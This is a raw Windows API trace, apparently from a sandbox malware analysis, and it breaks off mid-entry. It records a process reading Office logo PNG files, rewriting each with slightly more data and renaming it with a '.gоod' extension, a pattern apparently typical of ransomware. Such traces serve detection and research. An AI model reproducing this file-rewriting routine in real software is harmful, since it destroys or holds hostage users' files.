[0198.851] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0198.851] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-black_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x72bcfd3e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x660)) returned 1 [0198.851] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0198.851] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-black_scale-80.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-80.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-black_scale-80.png.gоod")) returned 1 [0198.852] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x66 [0198.852] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0198.852] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-white_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x385fae0 | out: lpFileInformation=0x385fae0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198fbe19, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x725)) returned 1 [0198.852] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0198.852] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x66 [0198.852] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0198.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-white_scale-100.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x848 [0198.852] GetFileType (hFile=0x848) returned 0x1 [0198.852] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0198.852] GetFileType (hFile=0x848) returned 0x1 [0198.852] GetFileSize (in: hFile=0x848, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x725 [0198.853] ReadFile (in: hFile=0x848, lpBuffer=0x38605a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x38605a0*, lpNumberOfBytesRead=0x1fcee238*=0x725, lpOverlapped=0x0) returned 1 [0198.854] CloseHandle (hObject=0x848) returned 1 [0199.748] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x66 [0199.748] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0199.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-white_scale-100.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x84c [0199.750] GetFileType (hFile=0x84c) returned 0x1 [0199.750] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0199.750] GetFileType (hFile=0x84c) returned 0x1 [0199.750] WriteFile (in: hFile=0x84c, lpBuffer=0x39ec778*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x39ec778*, lpNumberOfBytesWritten=0x1fcee148*=0x730, lpOverlapped=0x0) returned 1 [0199.751] CloseHandle (hObject=0x84c) returned 1 [0199.751] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x66 [0199.751] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-100.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-100.png.gоod", lpFilePart=0x0) returned 0x6b [0199.751] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0199.751] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-white_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x73474615, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x730)) returned 1 [0199.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0199.752] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-white_scale-100.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-100.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-white_scale-100.png.gоod")) returned 1 [0199.753] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x66 [0199.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0199.753] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-white_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x39edac8 | out: lpFileInformation=0x39edac8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198d5bc7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x81c)) returned 1 [0199.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0199.753] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x66 [0199.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0199.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-white_scale-140.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x84c [0199.753] GetFileType (hFile=0x84c) returned 0x1 [0199.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0199.753] GetFileType (hFile=0x84c) returned 0x1 [0199.753] GetFileSize (in: hFile=0x84c, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x81c [0199.754] ReadFile (in: hFile=0x84c, lpBuffer=0x39ee680, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x39ee680*, lpNumberOfBytesRead=0x1fcee238*=0x81c, lpOverlapped=0x0) returned 1 [0200.310] CloseHandle (hObject=0x84c) returned 1 [0200.874] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x66 [0200.874] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0200.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-white_scale-140.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0200.876] GetFileType (hFile=0x858) returned 0x1 [0200.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0200.876] GetFileType (hFile=0x858) returned 0x1 [0200.876] WriteFile (in: hFile=0x858, lpBuffer=0x3912430*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3912430*, lpNumberOfBytesWritten=0x1fcee148*=0x820, lpOverlapped=0x0) returned 1 [0200.877] CloseHandle (hObject=0x858) returned 1 [0200.877] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x66 [0200.877] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-140.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-140.png.gоod", lpFilePart=0x0) returned 0x6b [0200.877] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0200.877] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-white_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x73f26cd5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x820)) returned 1 [0200.877] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0200.877] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-white_scale-140.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-140.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-white_scale-140.png.gоod")) returned 1 [0200.880] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x66 [0200.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0200.881] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-white_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x3913780 | out: lpFileInformation=0x3913780*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198d5bc7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa0a)) returned 1 [0200.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0200.881] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x66 [0200.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0200.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-white_scale-180.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0200.881] GetFileType (hFile=0x858) returned 0x1 [0200.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0200.881] GetFileType (hFile=0x858) returned 0x1 [0200.881] GetFileSize (in: hFile=0x858, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xa0a [0200.881] ReadFile (in: hFile=0x858, lpBuffer=0x3914528, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3914528*, lpNumberOfBytesRead=0x1fcee238*=0xa0a, lpOverlapped=0x0) returned 1 [0200.882] CloseHandle (hObject=0x858) returned 1 [0201.163] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x66 [0201.163] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0201.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-white_scale-180.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0201.164] GetFileType (hFile=0x858) returned 0x1 [0201.164] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0201.164] GetFileType (hFile=0x858) returned 0x1 [0201.164] WriteFile (in: hFile=0x858, lpBuffer=0x37fcbf8*, nNumberOfBytesToWrite=0xa10, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x37fcbf8*, lpNumberOfBytesWritten=0x1fcee148*=0xa10, lpOverlapped=0x0) returned 1 [0201.165] CloseHandle (hObject=0x858) returned 1 [0201.165] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x66 [0201.166] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-180.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-180.png.gоod", lpFilePart=0x0) returned 0x6b [0201.166] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0201.166] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-white_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x741d5485, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xa10)) returned 1 [0201.166] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0201.166] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-white_scale-180.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-180.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-white_scale-180.png.gоod")) returned 1 [0201.167] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x65 [0201.167] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0201.167] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-white_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x37fdf48 | out: lpFileInformation=0x37fdf48*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198d5bc7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x64c)) returned 1 [0201.167] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0201.167] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x65 [0201.167] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0201.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-white_scale-80.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0201.167] GetFileType (hFile=0x858) returned 0x1 [0201.167] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0201.168] GetFileType (hFile=0x858) returned 0x1 [0201.168] GetFileSize (in: hFile=0x858, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x64c [0201.168] ReadFile (in: hFile=0x858, lpBuffer=0x37fe930, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x37fe930*, lpNumberOfBytesRead=0x1fcee238*=0x64c, lpOverlapped=0x0) returned 1 [0201.169] CloseHandle (hObject=0x858) returned 1 [0201.180] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x65 [0201.180] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0201.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-white_scale-80.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0201.181] GetFileType (hFile=0x858) returned 0x1 [0201.181] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0201.181] GetFileType (hFile=0x858) returned 0x1 [0201.181] WriteFile (in: hFile=0x858, lpBuffer=0x3878008*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3878008*, lpNumberOfBytesWritten=0x1fcee148*=0x650, lpOverlapped=0x0) returned 1 [0201.182] CloseHandle (hObject=0x858) returned 1 [0201.182] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x65 [0201.182] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-80.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-80.png.gоod", lpFilePart=0x0) returned 0x6a [0201.182] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0201.182] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-white_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x741fb6cc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x650)) returned 1 [0201.182] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0201.182] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-white_scale-80.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-80.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-white_scale-80.png.gоod")) returned 1 [0201.183] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-100.png", lpFilePart=0x0) returned 0x57 [0201.183] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0201.183] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-100.png" (normalized: "c:\\program files\\microsoft 